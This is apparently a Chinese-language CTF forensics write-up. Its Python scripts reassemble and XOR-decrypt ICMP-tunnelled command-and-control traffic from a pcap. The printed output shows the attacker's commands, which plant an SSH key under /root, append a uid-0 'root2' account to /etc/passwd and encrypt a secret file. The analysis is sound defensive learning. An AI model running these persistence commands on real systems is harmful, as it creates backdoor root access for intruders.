for i, pkt in enumerate(packets, 1): if ICMP in pkt and pkt.haslayer(Raw): raw_data = bytes(pkt[Raw].load) print(f"\n数据包 #{i} 原始负载:") print(raw_data) if len(raw_data) < 8: print(f"警告: 数据包 #{i} 负载 ({len(raw_data)} 字节) 太短,无法解析头部。尝试直接XOR。") for key in keys: zz = xor_data(raw_data, key) print(f"密钥 {hex(key)} XOR 解码结果:") print(zz) continue try: current_seq = int(raw_data[:4].decode('ascii')) total_seqs = int(raw_data[4:8].decode('ascii')) except (ValueError, UnicodeDecodeError): print(f"警告: 数据包 #{i} 头部解析失败,跳过。") continue if current_seq == 1: print(f"\n--- 数据包 #{i}: 新消息序列开始。清除旧数据。总预期数据包数: {total_seqs} ---") packet_data.clear() current_sequence_id = (current_seq, total_seqs) total_packets_expected = total_seqs data_without_header = raw_data[8:] packet_data[current_seq] = data_without_header print( f"处理数据包 #{i}: 序列 {current_seq}/{total_seqs}。已收集 {len(packet_data)}/{total_packets_expected} 个片段。") if len(packet_data) == total_packets_expected: print(f"\n--- 已收到所有 {total_packets_expected} 个数据包。正在重构消息。---") full_data = b''.join(packet_data[seq] for seq in sorted(packet_data)) print("\n最终拼接的原始数据 (Hex/ASCII):") try: print(full_data.decode('ascii')) except UnicodeDecodeError: print(full_data.hex()) for key in keys: decoded = xor_data(full_data, key) try: decoded_str = decoded.decode('ascii') except UnicodeDecodeError: decoded_str = decoded.hex() print(f"\n密钥 {hex(key)} XOR 解码结果:") print(decoded_str) packet_data.clear() current_sequence_id = None total_packets_expected = 0
|
这个Python脚本的核心功能是从PCAP网络流量中重构并解密分段的ICMP隐蔽通信。它通过解析每个ICMP数据包负载中前8个字节的自定义头部来识别消息的片段(包括当前序列号和总片段数)。一旦收集齐一个完整消息的所有片段,脚本就会将它们按顺序拼接起来,然后尝试使用一组预定义的2字节XOR密钥对重构后的数据进行暴力破解解密,并打印出所有可能的明文结果。简而言之,它是一个自动化工具,旨在揭示通过ICMP隧道传输的分段和XOR加密的秘密信息。
队友0xd3f4ult
尝试编写脚本用这些作为XOR密钥解密攻击者发送的命令:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120
| from scapy.all import rdpcap, ICMP from ctypes import c_uint32 def ansi_rand(seed, n): """ 实现一个简单的ANSI C兼容的伪随机数生成器 (PRNG),通常被称为 'rand()'。 该函数根据给定的种子生成 'n' 个字节的伪随机序列。 这个PRNG的特定乘数和加数是经典的 ANSI C `rand()` 实现中常见的魔术数字。 参数: seed (int): 伪随机数生成器的初始种子。 n (int): 需要生成的随机字节的数量。 返回: bytes: 包含 'n' 个伪随机字节的字节串。 """ out = bytearray() state = c_uint32(seed) for _ in range(n): state.value = (state.value * 0x343fd + 0x269ec3) & 0xffffffff out.append((state.value >> 16) & 0xff) return bytes(out)
pcap = rdpcap("capture.pcap")
key = bytearray()
ctext = []
print("开始处理 PCAP 文件...") for p in pcap: if not p.haslayer(ICMP): continue data = bytes(p[ICMP].payload) if len(data) < 8: continue hdr, payload = data[:8], data[8:] try: chan = int(hdr[:4].hex(), 16) op = int(hdr[4:].hex(), 16) except ValueError as e: continue if op == 0x0003: key.extend(payload) elif op == 0x0035: ctext.append(payload)
seed = 0x34B17EC5
total_ctext_len = sum(len(b) for b in ctext)
print("未在 PCAP 文件中找到任何密文块。无需解密。") exit(0) ks = ansi_rand(seed, total_ctext_len)
cipher = b"".join(ctext)
plain = bytes(c ^ k for c, k in zip(cipher, ks))
with open("plain.bin", "wb") as f: f.write(plain) print("\n解密完成!明文已保存到 plain.bin 文件中。")
|
这个Python脚本的核心功能是逆向工程并解密一种通过ICMP协议传输的自定义C2(命令与控制)通信。它通过解析ICMP数据包负载中特定的8字节自定义头部来识别两种关键信息:一种是RC4密钥的片段(当操作码
op
为 0x0003
时收集),另一种是加密的命令或响应密文块(当操作码
op
为 0x0035
时收集)。一旦收集到所有密文,脚本会使用一个硬编码的种子
(0x34B17EC5
) 和一个模拟ANSI C rand()
的伪随机数生成器来生成与密文等长的密钥流,最后通过逐字节异或(XOR)运算将密文解密成明文,并保存到
plain.bin
文件中。简单来说,它就像一个“ICMP流量翻译器”,专门用于揭示这种隐蔽通信的真实内容。
赛后学习
研究下官方wp中给的脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135
| from scapy.all import * from sys import argv def derive_key(checksum_request, checksum_reply): """ 根据ICMP请求和回复数据包中的校验和派生一个8字节的解密密钥。 此函数实现了一种特定的密钥派生算法。 参数: checksum_request (int): ICMP密钥交换请求数据包的校验和值。 checksum_reply (int): ICMP密钥交换回复数据包的校验和值。 返回: list: 一个包含8个整数的列表,每个整数代表派生密钥的一个字节。 """ key = [] key.append((checksum_request >> 8) & 0xFF) key.append(checksum_request & 0xFF) key.append((checksum_reply >> 8) & 0xFF) key.append(checksum_reply & 0xFF) key.append(key[0] ^ key[1]) key.append(key[2] ^ key[3]) key.append(key[0] ^ key[2]) key.append(key[1] ^ key[3]) return key def decrypt_data(data, key): """ 使用重复异或密码和提供的密钥解密给定的字节字符串。 参数: data (bytes): 要解密的加密数据(字节字符串)。 key (list): 解密密钥(整数列表,每个整数代表一个字节)。 返回: bytes: 解密后的数据(字节字符串)。 """ return bytes([data[i] ^ key[i % len(key)] for i in range(len(data))]) def process_pcap(pcap_file): """ 处理PCAP文件,从自定义ICMP流量中提取并解密命令和响应。 此函数假设了一个特定的协议,其中: - 密钥交换涉及ICMP类型12,代码35(请求)和类型0,代码0(回复)。 - 命令通过ICMP类型19,代码42发送。 - 响应被分段并通过ICMP类型8,代码0发送。 参数: pcap_file (str): 要处理的PCAP文件的路径。 """ packets = rdpcap(pcap_file) current_key = None checksum_request = None response = "" cmd_count = 0 keys = [] print("Processing PCAP file...\n") for pkt in packets: if ICMP in pkt: icmp = pkt[ICMP] if icmp.type == 12 and icmp.code == 35: if response: print(f"Response {cmd_count-1}: {response}") response = "" checksum_request = icmp.chksum continue if icmp.type == 0 and icmp.code == 0 and checksum_request is not None: if response: print(f"Response {cmd_count-1}: {response}") response = "" checksum_reply = icmp.chksum current_key = derive_key(checksum_request, checksum_reply) print(f"Key {len(keys)}: {current_key}") keys.append(current_key) checksum_request = None continue if icmp.type == 19 and icmp.code == 42: if response: print(f"Response {cmd_count-1}: {response}") response = "" cmd_data = bytes(icmp.payload) if current_key: cmd = decrypt_data(cmd_data, current_key).decode(errors='ignore').strip('\x00') print(f"Command {cmd_count}: {cmd}") cmd_count += 1 else: print(f"Warning: Command {cmd_count} 在密钥派生之前出现。跳过解密。") continue if icmp.type == 8 and icmp.code == 0: out_data = bytes(icmp.payload)[8:] if current_key: out = decrypt_data(out_data, current_key).decode(errors='ignore') response += out else: print(f"Warning: 响应片段在密钥派生之前出现。跳过解密。") if response: print(f"Response {cmd_count-1}: {response}") if __name__ == "__main__": if len(argv) != 2: print("Usage: python solve.py <pcap_file>") sys.exit(1) pcap_file = argv[1] process_pcap(pcap_file)
|
输出:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| (.venv) PS I:\ipt\cyber\CTF\cryptoLab\cryptohack_noob> python .\linshi.py .\capture.pcap Processing PCAP file...
Key 0: [218, 10, 222, 224, 208, 62, 4, 234] Command 0: id Response 0: uid=0(root) gid=0(root) groups=0(root)
Command 1: mkdir /root/.ssh && echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCx+J8mv79rAqohohfdnzJDBS6wfnl1RT0CUeIYqqoWv7VTgiCMmmG7ww4jfWtX4IXb6KN1u O17Jpfqod0brs3QHgiwpwhGbdurPMGbZwmJaXdCbf69ZTzf1YYn9xv5SxUrlGg9/UAs2QbHPt0rcrv5Y7b47IUodm8H9P6SiVddhGIpRViToBJZ83leGaTMfH2W9moWfMtcNegNmrIc3ObfLa0 /T03Ag2nwjNkoBOwbR/S5wsQYuEufDHNF4eAeWKI+UsRB19yrKOmrsrlnQ831JSiYQ5VCDcchyHW2FqEkf/LK4mBE2Y/u8etAwzgi9dVbO4dhV1cG4JdUE5X/mhphktZM0zy3/i6AstWKalDyU nKSRkFi+iAm3bj5rg6eZsbWXzoiOQHvIjBtjkTIaneufmLMqj5rNUnOgBI1glAMp5rDewqH5Wga90lddtBDN698ULoIQR+TTe/1fryGcBcKNXiRBfe2fqqK0i9wOY20xu/4tPZAilo/RQxKBXEq5gs=' > /root/.ssh/id_rsa.pub
Command 2: cat /root/.ssh/id_rsa.pub Response 2: ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCx+J8mv79rAqohohfdnzJDBS6wfnl1RT0CUeIYqqoWv7VTgiCMmmG7ww4jfWtX4IXb6KN1uO17Jpfqod0brs3QHgiwpwhGbd urPMGbZwmJaXdCbf69ZTzf1YYn9xv5SxUrlGg9/UAs2QbHPt0rcrv5Y7b47IUodm8H9P6SiVddhGIpRViToBJZ83leGaTMfH2W9moWfMtcNegNmrIc3ObfLa0/T03Ag2nwjNkoBOwbR/S5wsQY uEufDHNF4eAeWKI+UsRB19yrKOmrsrlnQ831JSiYQ5VCDcchyHW2FqEkf/LK4mBE2Y/u8etAwzgi9dVbO4dhV1cG4JdUE5X/mhphktZM0zy3/i6AstWKalDyUnKSRkFi+iAm3bj5rg6eZsbWXzoiOQHvIjBtjkTIaneufmLMqj5rNUnOgBI1glAMp5rDewqH5Wga90lddtBDN698ULoIQR+TTe/1fryGcBcKNXiRBfe2fqqK0i9wOY20xu/4tPZAilo/RQxKBXEq5gs=
Key 1: [60, 255, 180, 232, 195, 92, 136, 23] Command 3: openssl passwd pwnt0p14 Response 3: $1$d0QECrET$duOSz/ZMGfKaSPgyxagIn0
Command 4: echo 'root2:$1$d0QECrET$duOSz/ZMGfKaSPgyxagIn0:0:0:root:/root:/bin/bash' >> /etc/passwd Command 5: tail -n 1 /etc/passwd Response 5: root2:$1$d0QECrET$duOSz/ZMGfKaSPgyxagIn0:0:0:root:/root:/bin/bash
Key 2: [234, 10, 220, 68, 224, 152, 54, 78] Command 6: pwd Response 6: /tmp/pwntopia
Command 7: ls -la Response 7: total 44 drwxr-xr-x 2 root root 4096 Mar 10 17:18 . drwxrwxrwt 29 root root 16384 Mar 10 17:50 .. -rwxr-xr-x 1 root root 16880 Mar 10 17:49 pwntopiashl -rw-r--r-- 1 root root 31 Mar 10 17:18 .secret
Command 8: cat .secret | openssl enc -aes-256-cbc -a -salt -pbkdf2 -pass pass:we_pwned_nops Response 8: U2FsdGVkX1+sDd5g4JCxThLBMo/IsCKiwxriZAOdcfL7Y8cejGFLo3jpAiyuyx7o
Key 3: [86, 61, 147, 112, 107, 227, 197, 77]
|
在解密后的所有包发出的命令与对应响应中,尤其关注最后一个命令,显然所有加密需要的信息都给定了,只需要在原基础上加-d
解密响应中的密文即可:

但是至于为什么可以这样编写脚本解密pcap包,详细的原理还不是特别理解,未完待续。。。
VALidTOR
ThreatNemesis |
DroidDungeon - Android Application Analysis
Invaders

Forensics
Unknown File

Moshy Moshy
Datamoshing ∣ Yohan
Chalier
A515

3v3ntl0g

Forensics & Reverse
Engineering
Missing Piece

osint
Tak Tak

I hear some music…

A Kidnappanda (1/4)

What Three Names (2/4)

Where’s The Bear ? (3/4)

Whoooo’s whoooo (4/4)

La foire n’est pas sur le
pont
overpass
turbo